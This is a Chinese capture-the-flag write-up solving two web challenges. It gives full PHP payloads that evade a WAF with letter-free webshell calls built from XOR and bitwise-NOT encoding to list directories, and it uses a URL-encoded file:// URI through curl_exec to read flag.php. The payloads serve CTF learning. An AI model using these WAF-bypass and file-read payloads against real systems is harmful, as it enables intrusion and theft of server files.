一天只签了2题WEB的到,拖了大佬后腿(菜如我),剩下的WEB题看大佬WP慢慢研究再补充。
一、hate-php
源码:
1 |
|
两层WAF,第一层过滤preg_match
中的关键字,第二层get_defined_functions()['internal']
讲PHP内置函数设置成黑名单,也就是PHP自带的可以直接使用的内置函数被BAN了。WAF过后就是assert
执行命令。
考虑无字母webshell。
先用之前比赛的一个payload
尝试一下能不能执行phpinfo()
:
1 | ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo |
成功执行,然后尝试执行其他命令。但是由于过滤了; _ ' |
等特殊字符,构造一句话然后连马有点麻烦,所以直接用纯取反或异或方法。这里选择的是取反。
同样成功执行phpinfo()
接下来就是找flag文件然后读取
构造var_dump(scandir(current(localeconv)))
来列出当前目录的文件(localeconv()
返回一个包含本地数字及货币格式信息的数组,所以current(localeconv())
永远都是个点)
嵌套在一起后:
var_dump(scandir())
:(~(%89%9E%8D%A0%9B%8A%92%8F))((~(%8C%9C%9E%91%9B%96%8D))())
var_dump(scandir(current()))
:(~(%89%9E%8D%A0%9B%8A%92%8F))((~(%8C%9C%9E%91%9B%96%8D))((~(%9C%8A%8D%8D%9A%91%8B))()))
var_dump(scandir(current(localeconv())))
:(~(%89%9E%8D%A0%9B%8A%92%8F))((~(%8C%9C%9E%91%9B%96%8D))((~(%9C%8A%8D%8D%9A%91%8B))((~(%93%90%9C%9E%93%9A%9C%90%91%89))())))
执行结果如下:
当前目录下有flag.php
二、do you know
源码:
1 |
|
传入任意两个参数,经过WAF判断有无/log|flag|hist|dict|etc|file|write/i
后分别取他们的key和value值,绕过2个if判断只需get传入2个键值key不等,值value相等的参数即可。最后将value赋值给url变量,然后读取文件并打印出来。
绕过黑名单只需将协议内容全URL编码,然后curl_exec()
带出结果。
file:///var/www/html/flag.php
: %66%69%6C%65%3A%2F%2F%2F%76%61%72%2F%77%77%77%2F%68%74%6D%6C%2F%66%6C%61%67%2E%70%68%70
传入任意2个Get参数,值等于上述编码结果。
?key1=编码内容&key2=编码内容
—–待补充—–